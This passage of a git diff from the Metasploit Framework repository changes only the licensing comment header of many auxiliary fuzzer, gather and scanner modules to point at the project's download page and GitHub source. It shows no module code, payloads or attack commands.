b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index 927ad072e8..6a12b48aba 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index b5126c1b6d..5577d1d668 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 758df67dfe..124ac38641 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb index 77b6f7f0a6..2b26e859b1 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb index fa426295d4..a8c49c70b6 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb index 398647932c..2fa3bcf1a3 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb index 874da2d022..c44622d550 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index b075e74409..9216256c6e 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 1b36906dac..157cf6ac22 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb b/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb index 974f0c0de9..a31e89b589 100644 --- a/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb +++ b/modules/auxiliary/fuzzers/wifi/fuzz_beacon.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb b/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb index d5dfeff68f..114fc89c4a 100644 --- a/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb +++ b/modules/auxiliary/fuzzers/wifi/fuzz_proberesp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/android_htmlfileprovider.rb b/modules/auxiliary/gather/android_htmlfileprovider.rb index 9cd8d5d83f..ec1cf27826 100644 --- a/modules/auxiliary/gather/android_htmlfileprovider.rb +++ b/modules/auxiliary/gather/android_htmlfileprovider.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/apache_rave_creds.rb b/modules/auxiliary/gather/apache_rave_creds.rb index 32f288dc96..d9eeaf457c 100644 --- a/modules/auxiliary/gather/apache_rave_creds.rb +++ b/modules/auxiliary/gather/apache_rave_creds.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index 9d8035dc8c..5c9ade2e21 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/checkpoint_hostname.rb b/modules/auxiliary/gather/checkpoint_hostname.rb index 71d0ead265..24fbdbea37 100644 --- a/modules/auxiliary/gather/checkpoint_hostname.rb +++ b/modules/auxiliary/gather/checkpoint_hostname.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/citrix_published_applications.rb b/modules/auxiliary/gather/citrix_published_applications.rb index 3f49588ad3..b71e3eacc3 100644 --- a/modules/auxiliary/gather/citrix_published_applications.rb +++ b/modules/auxiliary/gather/citrix_published_applications.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/citrix_published_bruteforce.rb b/modules/auxiliary/gather/citrix_published_bruteforce.rb index 145b03c761..8953abfb52 100644 --- a/modules/auxiliary/gather/citrix_published_bruteforce.rb +++ b/modules/auxiliary/gather/citrix_published_bruteforce.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index e31d787972..71627f4e72 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/gather/corpwatch_lookup_id.rb b/modules/auxiliary/gather/corpwatch_lookup_id.rb index 5232a73bc3..7fc50a9bf7 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_id.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_id.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/corpwatch_lookup_name.rb b/modules/auxiliary/gather/corpwatch_lookup_name.rb index 42a674b3cb..fd678b318b 100644 --- a/modules/auxiliary/gather/corpwatch_lookup_name.rb +++ b/modules/auxiliary/gather/corpwatch_lookup_name.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/d20pass.rb b/modules/auxiliary/gather/d20pass.rb index bd5d6c0952..4221807537 100644 --- a/modules/auxiliary/gather/d20pass.rb +++ b/modules/auxiliary/gather/d20pass.rb @@ -1,9 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## ## diff --git a/modules/auxiliary/gather/dns_bruteforce.rb b/modules/auxiliary/gather/dns_bruteforce.rb index 49af525957..8d3a3c5cb8 100644 --- a/modules/auxiliary/gather/dns_bruteforce.rb +++ b/modules/auxiliary/gather/dns_bruteforce.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index 836bd4119a..3a557038d6 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/dns_reverse_lookup.rb b/modules/auxiliary/gather/dns_reverse_lookup.rb index cd805f6439..530fb49527 100644 --- a/modules/auxiliary/gather/dns_reverse_lookup.rb +++ b/modules/auxiliary/gather/dns_reverse_lookup.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/dns_srv_enum.rb b/modules/auxiliary/gather/dns_srv_enum.rb index 927c3d971a..47af0ed4b7 100644 --- a/modules/auxiliary/gather/dns_srv_enum.rb +++ b/modules/auxiliary/gather/dns_srv_enum.rb @@ -1,8 +1,6 @@ ## # ## This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/eaton_nsm_creds.rb b/modules/auxiliary/gather/eaton_nsm_creds.rb index 5ff39e7e1f..628a720537 100644 --- a/modules/auxiliary/gather/eaton_nsm_creds.rb +++ b/modules/auxiliary/gather/eaton_nsm_creds.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/gather/enum_dns.rb b/modules/auxiliary/gather/enum_dns.rb index 925a6a5c8f..a1698359b0 100644 --- a/modules/auxiliary/gather/enum_dns.rb +++ b/modules/auxiliary/gather/enum_dns.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index abacf9e68a..c240e60cb2 100755 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -1,6 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 38bca130cf..5469a193cd 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/gather/impersonate_ssl.rb b/modules/auxiliary/gather/impersonate_ssl.rb index 4c76300dff..166d6084f8 100644 --- a/modules/auxiliary/gather/impersonate_ssl.rb +++ b/modules/auxiliary/gather/impersonate_ssl.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/natpmp_external_address.rb b/modules/auxiliary/gather/natpmp_external_address.rb index eb1fdfc597..59e7720cf8 100644 --- a/modules/auxiliary/gather/natpmp_external_address.rb +++ b/modules/auxiliary/gather/natpmp_external_address.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/search_email_collector.rb b/modules/auxiliary/gather/search_email_collector.rb index d636afa331..3a4783b446 100644 --- a/modules/auxiliary/gather/search_email_collector.rb +++ b/modules/auxiliary/gather/search_email_collector.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/shodan_search.rb b/modules/auxiliary/gather/shodan_search.rb index 5202e452a3..38ce7a514d 100644 --- a/modules/auxiliary/gather/shodan_search.rb +++ b/modules/auxiliary/gather/shodan_search.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 3c1ebe386f..1a7ece5952 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/gather/xbmc_traversal.rb b/modules/auxiliary/gather/xbmc_traversal.rb index 9500854454..5e76ef9005 100644 --- a/modules/auxiliary/gather/xbmc_traversal.rb +++ b/modules/auxiliary/gather/xbmc_traversal.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/parser/unattend.rb b/modules/auxiliary/parser/unattend.rb index ae443334ef..503ed4d532 100644 --- a/modules/auxiliary/parser/unattend.rb +++ b/modules/auxiliary/parser/unattend.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/pdf/foxit/authbypass.rb b/modules/auxiliary/pdf/foxit/authbypass.rb index dbf37b3ad2..af75150593 100644 --- a/modules/auxiliary/pdf/foxit/authbypass.rb +++ b/modules/auxiliary/pdf/foxit/authbypass.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/afp/afp_login.rb b/modules/auxiliary/scanner/afp/afp_login.rb index c0bc5a1fac..f3affe799d 100644 --- a/modules/auxiliary/scanner/afp/afp_login.rb +++ b/modules/auxiliary/scanner/afp/afp_login.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/afp/afp_server_info.rb b/modules/auxiliary/scanner/afp/afp_server_info.rb index 92d2ac93a8..a975cf1b90 100644 --- a/modules/auxiliary/scanner/afp/afp_server_info.rb +++ b/modules/auxiliary/scanner/afp/afp_server_info.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb index 09bb79f0a3..269328065b 100644 --- a/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb +++ b/modules/auxiliary/scanner/backdoor/energizer_duo_detect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb index 39c16ccbf3..57ed3ef14b 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_enum.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_enum.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/couchdb/couchdb_login.rb b/modules/auxiliary/scanner/couchdb/couchdb_login.rb index b914bc33e2..37e0245d96 100644 --- a/modules/auxiliary/scanner/couchdb/couchdb_login.rb +++ b/modules/auxiliary/scanner/couchdb/couchdb_login.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/auxiliary/scanner/db2/db2_auth.rb b/modules/auxiliary/scanner/db2/db2_auth.rb index 80a365ecb4..b87d636c8f 100644 --- a/modules/auxiliary/scanner/db2/db2_auth.rb +++ b/modules/auxiliary/scanner/db2/db2_auth.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/db2/db2_version.rb b/modules/auxiliary/scanner/db2/db2_version.rb index 778de279a6..0a0ae18780 100644 --- a/modules/auxiliary/scanner/db2/db2_version.rb +++ b/modules/auxiliary/scanner/db2/db2_version.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/db2/discovery.rb b/modules/auxiliary/scanner/db2/discovery.rb index 24775a3fb7..7aeb1121e5 100644 --- a/modules/auxiliary/scanner/db2/discovery.rb +++ b/modules/auxiliary/scanner/db2/discovery.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb index d21d27300c..44f8c3790d 100644 --- a/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb +++ b/modules/auxiliary/scanner/dcerpc/endpoint_mapper.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/hidden.rb b/modules/auxiliary/scanner/dcerpc/hidden.rb index 0cf0695f5b..882817e273 100644 --- a/modules/auxiliary/scanner/dcerpc/hidden.rb +++ b/modules/auxiliary/scanner/dcerpc/hidden.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/management.rb b/modules/auxiliary/scanner/dcerpc/management.rb index fe581f1603..65c9a5f730 100644 --- a/modules/auxiliary/scanner/dcerpc/management.rb +++ b/modules/auxiliary/scanner/dcerpc/management.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb index e04b89d5a8..bdd4d00925 100644 --- a/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb +++ b/modules/auxiliary/scanner/dcerpc/tcp_dcerpc_auditor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb index 64554f54fa..0ea10974fa 100644 --- a/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb +++ b/modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/dect/call_scanner.rb b/modules/auxiliary/scanner/dect/call_scanner.rb index d680060d2e..2b14060415 100644 --- a/modules/auxiliary/scanner/dect/call_scanner.rb +++ b/modules/auxiliary/scanner/dect/call_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/auxiliary/scanner/dect/station_scanner.rb b/modules/auxiliary/scanner/dect/station_scanner.rb index 806591972b..0d86dea5fa 100644 --- a/modules/auxiliary/scanner/dect/station_scanner.rb +++ b/modules/auxiliary/scanner/dect/station_scanner.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires 